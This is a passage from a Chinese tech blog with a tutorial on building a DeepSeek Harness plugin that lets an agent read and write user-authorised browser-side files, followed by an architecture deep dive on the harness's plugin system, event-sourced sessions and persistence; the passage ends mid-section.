服务器（webserver）都只是一个 266 行的插件，静态资源服务、API RPC、WebSocket 事件流都是挂在上面的注册项。这带来一个好消息：插件能摸到系统的一切；一个坏消息：文档追不上代码，看源码是最快的学习方式。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:2:1","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"插件的物理形态 一个可被 dsh plugin --profile web add 安装的插件 = 一个 npm 包 + 两个声明： // package.json { \"name\": \"dsh-browser-fs\", \"type\": \"module\", \"exports\": { \".\": \"./lib/index.js\", // host 半（Node 进程里跑） \"./client\": \"./lib/client.js\" // client 半（浏览器里跑） }, \"dsh\": { \"bundle\": { \"patch\": \"./cordis.patch.yml\" }, // 挂载配置 \"client\": { \"platform\": \"web\" } // 声明有浏览器半 } } # cordis.patch.yml：把自己的行插进 Cordis 树 - insert: - id: browser-fs name: 'dsh-browser-fs' config: { wsPath: '/browser-fs/ws', requestTimeoutMs: 120000 } 生命周期骨架是 Cordis 标准式：export const inject = ['webServer', 'tools'] 声明依赖的服务，export function apply(ctx, config) 里注册一切，资源回收走 ctx.effect()。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:2:2","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"创造模式是什么 插一句很多人问的：dsh 四个内置 preset 里的「创造模式」（cordis preset）就是官方给插件作者的辅助模式——标准模式的全部能力，外加运行时检查、插件实验和 preset 创作指导。 两条开发路线都成立：用创造模式让 dsh 帮你写（自举），或者源码调研后手写。我这次选了后者——不是创造模式不好，而是我要的 API 事实（client 侧能否注册工具这类）必须看代码才能确认，AI 辅助调研源码+手写实现反而更快。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:2:3","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"三、关键结论：必须做\"双面插件\" 这是整个开发里最重要的架构判断，也是 README 里找不到的事实： dsh 的模型工具只能在 host 侧注册。 ctx.tools.register(defineTool({...})) 注册的工具，其 execute 函数运行在 dsh 宿主的 Node 进程里。浏览器侧的 client bundle 没有任何\"注册模型工具\"的入口。 那浏览器的能力怎么给模型用？dsh 自己早有答案——ask_user_question（模型主动向用户提问）就是\"host 注册 + 浏览器执行\"的双面结构，只是它走的事件流通道是 apiproxy 私有的，第三方插件复用不了。我用公开 API 复刻同样的架构： 模型调用 browser_fs_read → host 半工具的 execute()（dsh 进程） → 自建 WebSocket 通道（webServer.registerUpgrade） → 浏览器 client 半执行 File System Access 操作 → 结果沿 WS 回到 host → 回到模型 WS 通道上跑自己定义的帧协议：call（host→浏览器，带 rpcId 和参数）、result（浏览器→host，按 rpcId 配对）、cancel（中断传播）、state（浏览器上报\"我有没有授权句柄\"）。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:3:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"四、实战：dsh-browser-fs 走查 最终结构： dsh-browser-fs/ ├── package.json / cordis.patch.yml / build.mjs └── src/ ├── index.ts # host 半：WS 中继 + 三个工具注册 + roster 广播 ├── wire.ts # 帧协议与两侧校验（state/call/result/roster） └── client/ ├── index.ts # 入口：WS 客户端（断线重连）、call 分发、特性检测降级 ├── fs.ts # FsBackend 抽象 + 完整模式句柄后端 ├── files-backend.ts # 兼容模式：webkitdirectory File 映射（只读） ├── preview.ts # 预览纯函数（类型判断/截断/二进制嗅探） ├── device.ts # UA 派生设备名 ├── store.ts # IndexedDB 句柄持久化 └── ui.tsx # 授权卡片 + 目录树（文件预览/刷新按钮） 后记：初版只有「句柄后端」一条路。手机局域网 http 场景下 File System Access API 整个不可用（安全上下文门控），后来补了 FsBackend 抽象 + 兼容模式；多设备同时在线时的「当前授权在哪台设备」可见性也是后加的。演进细节见同系列《把 dsh 开放到局域网》一篇。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:4:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"host 半：工具 + WS 中继 三件事：起 WebSocketServer（挂在 registerUpgrade 注册的路径上）、维护 pending 映射（rpcId → resolve/reject）、注册工具。工具的 execute 把参数广播给在线浏览器，然后 await 对应 rpcId 的结果帧： ctx.tools.register(defineTool({ name: 'browser_fs_read', description: '读取用户浏览器所在电脑上、已授权目录下的文本文件', parameters: { path: { type: 'string' }, maxBytes: { type: 'number' } }, output: { schema: ..., render: (args, v) =\u003e [textBlock(v)] }, async execute(args, exec) { // exec.signal 接到 pending：会话中断时 WS 等待一并取消 return relay.call(exec, 'read', args); }, })); 没有浏览器在线、或在线浏览器没授权目录时，立即返回明确的错误结果（让模型知道该叫人去授权，而不是傻等）。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:4:1","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"client 半：File System Access 执行器 浏览器侧核心是三个操作，全部限定在用户授权的目录句柄之下——沙箱由浏览器强制，代码层面再加一道 .. 逃逸检查： // 授权（必须由用户手势触发） const handle = await showDirectoryPicker({ mode: 'readwrite' }); await saveHandle(handle); // 存 IndexedDB，下次启动读回 + queryPermission() // list / read / write 都是 FileSystemDirectoryHandle 的标准操作 const dir = await resolveDir(handle, args.path); // 逐级 getDirectoryHandle for await (const entry of dir.values()) { /* ... */ } read 默认上限 256KiB 并标注截断；write 自动创建父目录、返回写入字节数。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:4:2","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"client bundle 的构建契约 浏览器半不是普通 npm 包，dsh 的模块加载器要求： 产物固定 lib/client.js，CJS 闭包 首尾包装 window.__ModuleLoader__.load({ id, factory }) external 只允许平台模块（react、cordis 等少数几个），其余依赖全部 inline 官方构建 preset 没发布成包，我用 esbuild 三十几行配置复刻了这个契约（banner/footer 注入包装）。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:4:3","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"五、四个坑（README 不会告诉你的） npm registry 超时：国内装依赖记得配镜像（项目里放 .npmrc 指向 npmmirror；dsh plugin add 内部走 pnpm，用 npm_config_registry 环境变量带过去）。 句柄不能序列化：FileSystemDirectoryHandle 只能存 IndexedDB，走不了 dsh 的 settings 服务（而且 settings RPC 在非 loopback 访问时被官方钉死禁用）。 WS 路由不过信任栅栏：registerUpgrade 挂的路径不走 /api 的 Host/Origin 检查，自己的 handler 里要补同源校验（我的规则：Origin 存在则必须与 Host 同源，缺失放行——和 dsh 官方栅栏同款语义）。 安全上下文：showDirectoryPicker 只在 HTTPS 或 localhost 可用。http://192.168.x.x 局域网访问时这个 API 直接不存在，polyfill 都救不了（这类权限级 API 和 crypto.randomUUID 不同，补不出来——上一篇《手机访问局域网服务就白屏？》详细讲过这个坑）。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:5:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"六、装机与验证 安装一行命令（npm 渠道推荐，国内网络更稳；github: 装的是入库的构建产物，开箱即用；file: 是本地开发路径，改动后要重装+重启 dsh）： dsh plugin --profile web add dsh-browser-fs # 从 npm 安装（推荐） dsh plugin --profile web add github:whitefirer/dsh-browser-fs # 或从 GitHub 安装 # 本地开发/改代码时用 file: 路径重装： dsh plugin --profile web add file:/path/to/dsh-browser-fs 验证清单：boot manifest 出现 browser-fs/client.js?rev=...；/plugins/dsh-browser-fs/client.js 返回 200；WS 路由返回 426（等 upgrade）；真实 WS 握手同源 101 / 跨源 403；链路自检脚本 10/10（工具注册、参数校验、无授权报错、断连中断、list/read/write 全往返）。 最后一步只能真人完成：showDirectoryPicker 是系统级弹窗，自动化点不了。在 localhost:3080 打开页面，授权卡片里选一个目录，然后对 Agent 说\"列出我授权目录里的文件\"——它会调起 browser_fs_list，读的是你这台电脑。 注意新版 Chrome 在选完目录后还会再确认一次写权限（上图的「允许此网站修改文件？」——因为我申请的是 readwrite 模式）。这层\"每步都经过你\"的授权链，就是这个插件的安全边界。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:6:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"七、限制与边界 浏览器标签页必须开着，工具才能执行（架构使然） 多个标签页/设备在线时，由第一个持授权句柄的执行者干活（roster 帧让每台设备可见「当前授权在哪」） 完整模式仅 Chrome/Edge 等 Chromium 系（File System Access API 的浏览器覆盖现状）；非安全上下文（手机局域网 http）自动降级「兼容模式」——webkitdirectory 快照、只读、页面刷新需重选；iOS 目录选择返回 0 文件，故授权区提供「选择目录 / 选多个文件」双入口（安全上下文细节见同系列《把 DeepSeek Harness 开放到局域网》一篇） 目录树文件名点击出预览：文本前 64KB 截断、图片 ≤8MB 走 blob URL、二进制只提示不支持；「↻」刷新按钮在完整模式清缓存重拉，兼容模式下等价于重新选择目录 dsh 处于 rc 阶段、无兼容承诺，defineTool/registerUpgrade 这些 API 面未来可能漂移——好在我的接触面很窄，跟起来不难 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:7:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"八、资源 插件仓库：github.com/whitefirer/dsh-browser-fs（本文所有代码）——已收录进 awesome-dsh-plugin 主榜（PR #773），目录站详情页 必读源码：packages/core/tools（工具注册）、packages/host/webserver（HTTP/WS 注册口）、packages/client/connection/src/websocket-downlink.ts（WS 服务端模板）、packages/client/ui-user-questions（双面插件的官方先例） 插件目录站：awesome-dsh-plugin / Oh-My-DSH / dsh-plugin-directory（投稿入口都在） 本文发布后插件仍在更新（拖拽跟手与卡片位置记忆、悬浮层压过侧边栏插件、界面语言跟随 dsh 的「设置 → 通用设置 → 语言」等），最新行为以仓库 README 为准 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:8:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"DeepSeek 开源 dsh，首日破 3 万 star、30 小时逼近 10 万。本文从决策记录与源码逐层拆解：一个引擎五个出口、Cordis 插件化地基、事件溯源会话模型、压缩阴影机制、四象限 RPC、landlock 沙箱、hooks 兼容层——以及它真正服务的对象：模型自己（为自进化铺路）。","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":" 2026-08-13 开源 · 0.1.0-rc.5 开发者预览 · MIT 许可。本文全部机制描述均出自仓库（docs/、.agents/notes/、源码），个别处注明\"从决策记录看\"。Star 数据为 GitHub API 实测：开源首日约 3.1 万，不到 30 小时已约 9.4 万（forks 逾 8 千），增势未缓。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:0:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"导语：为什么值得读 2026 年 8 月 13 日，DeepSeek 官方开源了 deepseek-harness（下文简称 dsh）——一个 TypeScript 写的 agent harness（agent 运行时/框架）。开源当天数小时内，GitHub star 突破 4000。 这个仓库没有\"README 画饼、代码潦草\"的开源典型病：两个多月、约 1.2 万次提交；49 个包组、219 个包；600+ 条带日期的架构决策记录（Agent Notes）；文档带词数预算门禁，目录表全部由脚本从源码生成并做新鲜度校验。这是\"用 agent 开发 agent\"的产物——工程过程本身就是产品。 对熟悉 AI agent / LLM 工程的中高级开发者，它值得一读的原因很具体： 会话模型是事件溯源（append-only 事件日志），并配套一套\"压缩不改日志、回放仍确定\"的 surface 阴影机制——这是几乎所有自建 agent 工具链迟早要面对的坑； 沙箱用自带的 landlock-run（约 300 行 C11），fail-closed、功能探测、审批升级闭环——进程级沙箱的务实样板； ACP（Agent Client Protocol）经历了\"编辑器桥 → automation-only\"的主动退化，是\"UI 职责与自动化协议必须分家\"的活案例； hooks 协议（Claude Code / Codex 的 hooks.json）被做成一个带 matcher / 退出码 / 合并语义的共享库——你要兼容这两家的 hook 生态，这就是现成规格书。 提醒一句口径：它是预览版，README 明说 “THERE WILL BE COMPATIBILITY-BREAKING CHANGES”，文末\"观察与风险\"会给出坦率评价。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:1:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"关键事实 项 事实 发布 2026-08-13 开源，0.1.0-rc.5 开发者预览，MIT 热度 开源首日即破 3 万 star 技术栈 TypeScript ESM monorepo，pnpm 11.7.0，Node ^22.19 || \u003e=24 规模 49 个包组、219 个包；约 1.2 万次提交（约 2 个月） 布局 apps/cli（dsh 命令）+ apps/web（Vite 应用）；native/landlock-run（C 沙箱启动器）；python/（Python SDK + 单文件 exe）；examples/ 6 个可运行组合 定位 “everything is a plugin”：模型适配、工具注册表、会话日志、乃至 agent 主循环本身都是可替换的插件；官方站点口号：“一切皆插件，运行有迹可循” 官方站点 deepseek.com/harness（2026-08-13 上线，面向 Harness 开发者开放测试；官方公式 Agent = Model + Harness） 获取 源码 git clone https://github.com/deepseek-ai/deepseek-harness.git；即装即用 npx @deepseek-ai/dsh web ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:2:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"一、定位：一个引擎，五个产品出口 官方站点把它浓缩成一句口号：“一切皆插件，运行有迹可循”。前一半是架构承诺（下面第二节展开），后一半是数据承诺——系统提示词、思维链、工具调用与结果、子 Agent 调度、每一次上下文注入，全部写入仅追加的会话日志，Trajectory 视图按来源查看，恢复、分叉、检索与回放共享同一份事件流（第四节的会话模型）。官方还给出一个公式：Agent = Model + Harness——模型是灵魂，Harness 给予 Agent 理解环境、使用工具、在真实场景中持续工作的能力。 dsh 本身只是一个产品启动器。同一套 core，按 profile（命名插件组合）组装出不同产品面： 出口 形态 用途 dsh web Web UI（默认 127.0.0.1:3080） 交互主产品面：选工作区 → 配模型 → 跑任务，审批弹窗 dsh --profile headless \"任务\" 一次性无头 runner，跑完打印答案退出 自动化/批处理，零 Host / HTTP / 浏览器层 ACP server stdio JSON-RPC 自动化契约 被父 agent / 自动化控制器驱动 JSON-RPC SDK 进程内/跨进程协议 + TS 客户端 + 单文件 exe（约 174MB） Python SDK 的运行时载体 dsh plugin 按 profile 安装第三方插件（pnpm 转发） 生态入口（dsh-plugin topic） 注意：没有 TUI 出口。这不是疏忽——交互前门在两个月里摇摆了两次：7 月 20 日 readline 退役让位全屏 TUI（archived/simplification/2026-07-20-retire-readline-front-door.md），8 月 4 日 TUI 整包移除（implemented/simplification/2026-08-04-remove-tui-package.md，决策记录原话：“Web remains the shipped interactive surface”）。产品最终收敛为 Web UI + 自动化协议 双面。预览期的产品形状就是这么漂移的，读到后面你会习惯。 关键点：产品出口的多样性来自组装而不是分支——同一进程 dsh --profile web 与 dsh --profile headless，一棵插件树两种装法。这是它区别于\"一堆 CLI 开关\"的本质，也是下一节的地基。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:3:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"1.1 组装机制：profile + bundle 补丁层 一个运行中的 dsh 是一棵在启动时按有序层次组装出来的插件树（docs/architecture.md #Profiles-and-bundles）： profile 是命名组合（存于 Harness home）：列出它叠加的 bundle、持有外置插件、保留用户自己的 cordis.patch.yml； bundle 是 Cordis 配置行 + 代码的分发格式——它插入的东西仍可被上层补丁覆盖； 层序：profile 列的 bundle 按序 → profile 的 cordis.patch.yml → home 级补丁 → --patch overlay。patch 按 id 定位一行并整体替换其 config，或插入新行； 随装模板：dsh-base（每 profile 的第一层：模型适配器、工具、持久化、沙箱与审批策略、设置、凭证）、dsh-web-app、dsh-headless。 验证工具很直白：dsh --profile web --dump-config 打印你机器实际 boot 的树——打印出来的任何一行都能被你自己的 patch 替换。组装不是黑盒，是可审计的层。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:3:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"1.2 出口四的展开：单文件 exe 与\"配置决定一切\" JSON-RPC SDK 的运行时载体是个约 174MB 的单文件可执行（implemented/architecture/2026-07-10-single-file-executable-sdk-runtime-distribution.md），打包路线值得单独说： 用 @yao-pkg/pkg 的 --sea 模式（vercel/pkg 归档后的活跃 fork），目标 Node 24；VFS 里放的是真实包树 + 真实 node_modules，ESM 动态 import 原样工作，无 ESM→CJS 转译、无字节码编译； “exe 里 boot 什么插件，由外部 cordis.yml 决定\"是硬语义：配置发现只有两条通道——DSH_CORDIS_CONFIG 环境变量优先、argv 位置参数其次，无默认路径、无内置回退，双缺即 fail loud； 闭包清单是 python/sdk-runtime/package.json（零代码纯依赖清单，唯一事实源）：加一个插件 = 加一行依赖重新打包；VFS 里没有的名字 import 必失败——不需要 allowlist 代码，集合就是 VFS 装了什么； Python SDK 双载体：生产用 exe，开发用 DSH_RUNTIME_MODE=node 指向源码树（成员验证通道，不进 wheel）。 代价也记在案：约 174MB、源码原样进 blob（无混淆，闭源分发需另行评估）；pkg 的 VFS/module-hook 层是社区维护（版本 pin 6.21.0，升级是显式变更）。这是\"零依赖单文件分发\"与\"插件语义与源码运行完全一致\"之间的一个务实落点。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:3:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"二、地基：vendored Cordis 与五个概念 dsh 没有发明框架，而是把上游 Cordis（聊天机器人领域的插件框架）vendor 进仓库（vendor/，rescope 成 @deepseek-ai/cordis），在其上构建全部产品。Cordis 不是草台轮子：它有 80 页理论论文（cordiverse/paper，北大 + DeepSeek 作者）把\"插件卸载必须完全撤销副作用、依赖变化必须结构化感知\"这两件事形式化成了运行时机制。docs/cordis-primer.md 用五句话讲完它： 插件即 Service：插件是一个带 inject + apply(ctx) 的函数，或一个 Service 子类； ctx 是服务仓库：服务以 ctx.tools / ctx.llm / ctx.sessions 这样的键注册，插件按键找服务，而不是 import 具体实现； inject 声明依赖：Loader 等依赖的服务存在后才激活插件——加载顺序 = 服务依赖图，不是手排的启动序列； typed events：事件用 TypeScript declaration merging 声明，按语义选择分发模式（见下表）； 注册即可逆 effect：一切注册（工具、适配器、监听器）走 ctx.effect() / ctx.on()，插件卸载时自动回滚——热重载有结构保证。 事件分发模式是事件声明的公共契约（@mode 标签会被生成目录校验）： 模式 是否 await 分发顺序 有返回值 emit 否 按注册顺序观察 无 waterfall 否 按注册顺序 有（可改返回值） parallel 是 全体并行观察 无 serial 是 按注册顺序 有 waterfall 是\"around 中间件”：监听器收到 (...args, next)，调 next() 委派（可能被包装过的结果），不调则短路。对单决策事件，短路就是设计本身——策略监听器可以\"占有\"决策；而只注解、只观察的监听器必须委派，否则后续策略监听器再也看不到事件。这条纪律在后面 hooks 一节会再次出现。 架构文档开宗明义（docs/architecture.md）： There is no privileged core to patch. 没有特权核心可打补丁——扩展 dsh = 在 cordis.yml 里挂一个插件；agent-loop 本身也只是 ctx.agentLoop 上的一个可替换实现。Core 包只有六个：core/session（事件日志）、core/system-prompt（提示词与工具 schema 组装）、core/tools（作用域工具注册表）、core/agent（Agent 接口与注册表）、core/agent-loop（默认驱动循环，本身可换）、core/scope（作用域注册原语）。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:4:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"三、事件三分域：扩展点放在哪，是第一决策 docs/architecture.md #Events 把所有事件分成三个域——新行为挂哪，第一个问题就是选域： 域 性质 用途 session events 持久事实，append 进会话日志并广播 必须跨重启存活的（turn / step / user message / tool 结果） agent events（agent/*） 携带活 Agent 的实时事件 观察/拦截进行中的工作（inbox、pre-step、request、turn-stopping） capability events（fs/*、tools/*） 策略与适配器挂载点 不 import 循环的横切逻辑 配套一条硬不变量：“模型可见 ⟺ 已入日志”——任何到达模型请求的内容必须能从日志重建，运行时断言校验。这就是为什么\"加一种模型可见的输入\"必须\"加一种新的 session event\"：SessionEventMap 是 merge-extensible 的，扩展面不是 API 旁路。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:5:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"四、会话：事件溯源 + surface 阴影 + zstd JSONL 这是全仓库含金量最高的设计，拆成四层讲。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.1 日志即状态 决策记录 implemented/architecture/2026-06-11-event-sourced-sessions.md：Session = 类型化 SessionEvent 的 append-only 日志，是唯一事实源。LLM 消息历史从日志派生（deriveMessages()），不是一份独立维护的数组；原始 assistant/chunk 原样入日志保 token 级回放保真，但派生以组装后的 assistant/message 为准。备选方案\"可变消息数组 + 事件当通知\"被否，理由只有一句：状态与日志可能分叉，而事件溯源让分叉结构性不可能。 append 是同步的（热路径不阻塞 I/O），持久化插件缓冲 write-behind，在语义检查点 drain：请求派发前、工具派发前、step 批次后、turn 末尾（2026-06-14-session-persistence.md + bug-fix/2026-07-21-semantic-session-checkpoints.md）。持久化只是插件关注点，内存 store 即默认实现。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.2 turn/step 流转与事件日志的咬合 turn/start claim 队列输入 → 组装 prompt 分区 + 工具 schema → agent/pre-step（waterfall：reject 则无 step 关 turn / enter 开 step） step/start append user/message（模型可见 ⟺ 已入日志） agent/request → llm/stream → assistant/chunk*（原样入日志）→ assistant/message（权威派生源） tool/call* → tools/pre-execute → execute → post-execute → tool/result* step/end → 工具欠请求或有新输入则下一 step → agent/turn-stopping（要续则 steer()） turn/end turn/*、step/*、user/message、assistant/*、tool/* 是持久 session events；agent/*、llm/stream、tools/* 是活扩展点（waterfall 必须 next() 委派）。注意 agent/pre-step 的 enter 决策先于 step/start：被 reject 的输入会关掉一个\"没花 step 的 turn\"并留档——尝试本身也是事实。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.3 surface：压缩的阴影机制 日志无限增长，上下文必须压缩。naive 做法是\"改日志 / 改派生函数\"，但压缩后的历史怎么保证回放确定性？ implemented/architecture/2026-06-18-session-surface.md 的答案：每个事件带两个可选字段—— export type SurfaceOp = | 'append' // 普通尾部追加 | { op: 'replace'; start: number; end: number } // 阴影 [start, end]（含端点） surfaceOp 说明这个事件如何进入 surface（“产生模型消息的事件序列\"这个投影）； sourceEventSeqs 引用它替换掉的事件 seq——被阴影的事件必须被完整列举，否则替换不合法。 压缩 = 追加一条带 replace 标记的汇总事件，阴影掉一段旧事件；日志永不改写。 被阴影的事件仍在日志里，只是不再出现在 surface 上。SurfaceManager 增量维护这条有序 seq 序列（delta O(new events)，不重扫全日志），派生历史、压缩、工作区上下文共享同一投影。assistant/message 记录其完整 chunk 来源集（空流记 []），tool/result 记录其 tool/call 来源——每条派生事实都能追溯来源。 这套设计回答的问题：上下文压缩之后，回放和 fork 凭什么还确定？ 答案不是\"别压缩”，而是\"压缩也是日志里的一条事实\"。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:3","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.4 持久化：zstd 帧 JSONL + 崩溃修复 双后端同一契约：SessionPersistence 是能力缝，JSONL 与 SQLite 跑同一套 runPersistenceContract 契约套件；SessionEvent 1:1 存成 (session_id, seq, type, time, data) 行——无转换类型（2026-06-14-session-persistence.md）。 元数据出日志：format version / cwd / lineage 放在日志之外的 SessionHeader——“元数据不是可回放状态”。 zstd 帧（implemented/architecture/2026-07-19-zstandard-jsonl-session-logs.md）：默认存为 .jsonl.zstd，标准 Zstandard 帧拼接——头帧单独一帧（保证 metadata-only 列目录不读事件帧），之后每个 durable append batch 一个独立校验和帧（帧边界 = turn 提交点，存储层不感知 turn 类型）。压缩用 Node 内建 zstdCompress（API 标注 experimental，Node 22.19 floor），开 ZSTD_c_checksumFlag，零新依赖。 崩溃的 torn tail 在帧边界修复：EOF 落在最后一帧中间 = 可恢复的撕裂尾部，从该帧起始字节截断，把已解码的完整事件 + 合成 closers 重写为带校验的新帧。被中断的 turn 不截断——它可能含大量有效工作；repair.ts 合成带 surface 标记的 tool/result closers 补孤儿 tool call。只有不完整的最后一条记录会被丢弃；帧内校验失败 = 损坏，拒绝加载，不做静默修复。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:4","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.5 磁盘布局：可读的项目会话目录 implemented/architecture/2026-07-24-project-session-directories.md： \u003croot\u003e/--\u003cnormalized-cwd\u003e--/\u003cencoded-session-id\u003e/session.jsonl.zstd 用可读项目路径（lossy 归一化：分隔符转 -，危险字符 